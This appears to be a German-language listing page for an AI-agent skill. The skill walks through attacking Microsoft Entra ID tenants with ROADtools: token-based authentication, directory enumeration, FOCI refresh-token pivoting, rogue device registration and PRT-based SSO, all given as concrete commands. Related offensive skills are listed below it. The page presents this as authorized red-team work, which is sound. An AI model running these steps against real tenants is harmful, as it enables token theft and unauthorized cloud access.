Communitygithub.com

Angriff auf Entra ID mit ROADtools

Enumerate Microsoft Entra ID (Azure AD) Mandanten mit ROADrecon und roadtx – für autorisierte Red-Team- und Penetrationstests.

Was ist Angriff auf Entra ID mit ROADtools?

Dieser Skill beschreibt den Einsatz von ROADtools (von Dirk-jan Mollema), dem De-facto-Offensiv-Toolkit für Microsoft Entra ID. ROADrecon authentifiziert sich gegenüber Entra ID, sammelt das gesamte Verzeichnis in einer lokalen SQLite-Datenbank und stellt eine Angular-GUI zur Offline-Analyse von Benutzern, Gruppen, Rollen, Anwendungen, Service-Principals, Conditional-Access-Richtlinien und Geräten bereit. roadtx (ROADtools Token Exchange) erwirbt und tauscht Entra-Tokens über verschiedene OAuth-Flows aus, führt Geräteregistrierungen durch und handhabt Primary Refresh Token (PRT)-Operationen inklusive PRT-basiertem SSO und Cookie-Minting. Zusammen decken sie die Discovery-Phase gegen Cloud-Identitäten ab: Mandanten-Enumeration und Token-Manipulation. Der Skill eignet sich für autorisierte Azure/Entra ID Red-Team- oder Cloud-Penetrationstests, wenn man über einen Footprint (Credential, Refresh-Token oder PRT) verfügt und das Verzeichnis enumerieren sowie Token über Ressourcen hinweg pivotieren muss. Er unterstützt den Export nach BloodHound für die Graph-Analyse und die Analyse von Conditional-Access-Richtlinien.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Was macht Angriff auf Entra ID mit ROADtools?

Nur für autorisierte Nutzung: ROADtools interagiert mit live Microsoft Entra ID (Azure AD) Mandanten und kann Geräte registrieren, Tokens münzen und austauschen sowie Verzeichnisobjekte enumerieren. Verwenden Sie es ausschließlich gegen Mandanten, die Sie selbst besitzen oder für die Sie explizit schriftliche Autorisierung zum Testen haben. Unautorisierter Zugriff auf einen Cloud-Mandanten ist illegal.

Übersicht

ROADtools (von Dirk-jan Mollema) ist das De-facto-Offensiv-Toolkit für Microsoft Entra ID. Es besteht aus zwei Hauptkomponenten:

  • ROADrecon — authentifiziert sich gegenüber Entra ID, sammelt das vollständige Verzeichnis in eine lokale SQLite-Datenbank über die Azure AD Graph API und stellt eine Angular-GUI zur Offline-Erkundung von Benutzern, Gruppen, Rollen, Anwendungen, Service-Principals, Conditional-Access-Richtlinien und Geräteobjekten bereit. Ein Plugin-System exportiert nach BloodHound und analysiert CA-Richtlinien.
  • roadtx (ROADtools Token Exchange) — erwirbt und tauscht Entra-ausgestellte Tokens über die verschiedenen OAuth-Flows (ROPC, Device Code, Auth-Code, Refresh-Token-Austausch, App/Federated App) aus, führt Geräteregistrierungen durch und handhabt Primary Refresh Token (PRT)-Operationen inklusive PRT-basiertem SSO und Cookie-Minting. Seine FOCI (Family of Client IDs)-Bewusstheit erlaubt es, ein Refresh-Token für einen First-Party-Client für eine andere Ressource einzulösen.

Zusammen decken sie die Discovery-Phase gegen Cloud-Identitäten ab: Mandanten enumerieren (T1087.004 Account Discovery: Cloud Account) und Tokens erlangen/manipulieren, um Microsoft Graph, Azure Resource Manager und andere Ressourcen zu erreichen. ROADrecons Offline-Datenbank macht die Recon heimlich und schnell; roadtx macht Token-Diebstahl, PRT-Missbrauch und ressourcenübergreifendes Pivotieren praktikabel.

Wann verwenden

  • Während eines autorisierten Azure / Entra ID Red-Team- oder Cloud-Penetrationstests.
  • Wenn Sie einen Footprint (Credential, Refresh-Token oder PRT) haben und den Mandanten enumerieren müssen.
  • Wenn Sie ein Token von einer Ressource (z. B. Azure CLI) zu einer anderen (z. B. Microsoft Graph) pivotieren müssen.
  • Wenn Sie validieren möchten, ob Conditional-Access-, Geräte-Compliance- und Token-Kontrollen einen Angreifer tatsächlich einschränken.
  • Beim Kartieren von Entra-Angriffspfaden (Export nach BloodHound für Graph-Analyse).

Voraussetzungen

  • Schriftliche Autorisierung und definierter Umfang für den Zielmandanten.
  • Ein Start-Credential: Benutzername/Passwort (keine MFA-Flows), eine Device-Code-Sitzung, ein Refresh-/Access-Token oder das PRT eines registrierten Geräts.
  • Python 3.7+ (roadtx Selenium-Flows benötigen einen passenden geckodriver/Firefox).
# Kerninstallation (roadlib ist eine gemeinsame Abhängigkeit, wird automatisch gezogen)
python -m pip install roadrecon
python -m pip install roadtx
# Überprüfung
roadrecon --help
roadtx --help

Ziele

  • Sich über den geeigneten Flow (Device Code bevorzugt für MFA) bei Entra ID authentifizieren.
  • Das vollständige Verzeichnis mit ROADrecon sammeln und in der GUI analysieren.
  • Das Verzeichnis nach BloodHound exportieren und CA-Richtlinien-Analyse-Plugins ausführen.
  • Tokens mit roadtx erwerben und Refresh-Tokens über Ressourcen/Clients austauschen.
  • PRT-basiertes SSO demonstrieren und den resultierenden Zugriff dokumentieren.

MITRE ATT&CK Mapping

IDTaktikOffizieller TechniknameRolle in diesem Skill
T1087.004DiscoveryAccount Discovery: Cloud AccountROADrecon enumeriert Mandanten-Benutzer/Konten
T1069.003DiscoveryPermission Groups Discovery: Cloud GroupsROADrecon enumeriert Entra-Gruppen und -Rollen
T1538DiscoveryCloud Service DashboardGUI-Erkundung der Mandantenkonfiguration
T1550.001Defense Evasion / Lateral MovementUse Alternate Authentication Material: Application Access Tokenroadtx Refresh-Token-Austausch über Ressourcen
T1528Credential AccessSteal Application Access Tokenroadtx PRT-/Token-Erwerb

Arbeitsablauf

Schritt 1: Mit ROADrecon authentifizieren

Wählen Sie den Flow, der zu Ihrem Footprint passt. Device-Code unterstützt MFA; ROPC (-u/-p) nicht.

# Benutzername/Passwort (Legacy, kein MFA)
roadrecon auth -u [email protected] -p 'Passwort123!'

# Device-Code-Flow (unterstützt MFA)
roadrecon auth --device-code

# Von einem gestohlenen Access- oder Refresh-Token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# Von einem PRT (mit Session-Key) für SSO-gradigen Zugriff
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

Die Authentifizierung schreibt .roadtools_auth in das Arbeitsverzeichnis.

Schritt 2: Das Verzeichnis sammeln

# Vollständiges Sammeln in roadrecon.db (Standard)
roadrecon gather

# MFA/Auth-Method-Details einschließen (erfordert privilegierte Rolle)
roadrecon gather --mfa

Schritt 3: In der GUI erkunden

roadrecon gui
# Öffnen Sie http://127.0.0.1:5000 — Benutzer, Gruppen, Rollen, Anwendungen,
# Service-Principals, Geräte und Conditional-Access-Richtlinien, alle offline.

Schritt 4: Analyse-Plugins ausführen

# Conditional-Access-Richtlinien analysieren
roadrecon plugin policies -h
roadrecon plugin policies

# Die gesammelten Daten in ein BloodHound-importierbares Format exportieren
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

Schritt 5: Tokens mit roadtx erwerben

# ROPC: Einen Microsoft Graph-Token für den Azure CLI-Client holen
roadtx gettokens -u [email protected] -p 'Passwort123!' -c azcli -r msgraph

# Device-Code-artige interaktive Auth für den Teams-Client zu Graph
roadtx interactiveauth -c msteams -r msgraph

# Von einem vorhandenen Refresh-Token
roadtx gettokens --refresh-token <refresh_token> -r msgraph

Tokens werden in .roadtools_auth geschrieben (mit --tokens-stdout stattdessen ausgeben).

Schritt 6: Refresh-Tokens über Ressourcen austauschen (FOCI-Pivot)

Ein FOCI-Refresh-Token, das für einen First-Party-Client erlangt wurde, kann für eine andere Ressource ohne erneute Authentifizierung eingelöst werden.

# Das gespeicherte Refresh-Token in einen Azure Resource Manager-Token konvertieren
roadtx refreshtokento -r azrm

# In einen skalierten Graph-Token über den Teams-Client konvertieren
roadtx refreshtokento -c msteams -r msgraph

# Herausfinden, welche First-Party-Clients einen bestimmten Scope halten
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

Schritt 7: Geräteregistrierung und PRT-basiertes SSO

# Ein (virtuelles) Gerät im Mandanten registrieren
roadtx device -n redteam-device

# Ein PRT mit dem Geräte-Zertifikat/-Key und Benutzer-Credentials anfordern
roadtx prt -u [email protected] -p 'Passwort123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Das PRT verwenden, um einen Client bei einer Ressource zu authentifizieren (SSO-Grad)
roadtx prtauth -c msteams -r msgraph

# Ein PRT mit einem interaktiven MFA-Anspruch anreichern
roadtx prtenrich -u [email protected]

Schritt 8: Tokens inspizieren

# Claims des gespeicherten / eines bereitgestellten Tokens dekodieren und ausgeben
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

Werkzeuge und Ressourcen

WerkzeugZweckPrimäre Quelle
ROADtools (Repo)Toolkit-Übersicht + Wikihttps://github.com/dirkjanm/ROADtools
ROADrecon WikiAuth/Gather/GUI/Plugin-Nutzunghttps://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx WikiToken-Austausch + PRT/Geräte-Flowshttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CEGraph-Analyse exportierter Entra-Datenhttps://github.com/SpecterOps/BloodHound
Microsoft Identity PlatformToken/Flow-Referenzhttps://learn.microsoft.com/entra/identity-platform/

Validierungskriterien

  • Über einen autorisierten Flow beim Zielmandanten authentifiziert; .roadtools_auth erstellt.
  • Verzeichnis in roadrecon.db gesammelt (mit --mfa, wo die Rolle es erlaubt).
  • GUI erkundet; Benutzer, Gruppen, Rollen, Apps, CA-Richtlinien überprüft.
  • CA-Richtlinien- und BloodHound-Plugins ausgeführt; Daten exportiert.
  • Tokens mit roadtx für mindestens eine Ressource erworben.
  • Refresh-Token-Austausch zu einer zweiten Ressource demonstriert (FOCI-Pivot).
  • Gerät registriert und PRT-basiertes SSO demonstriert (wo im Umfang).
  • Token-Claims mit roadtx describe inspiziert.
  • Erkenntnisse und Zugriff für den Engagement-Bericht dokumentiert.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Verwandte Skills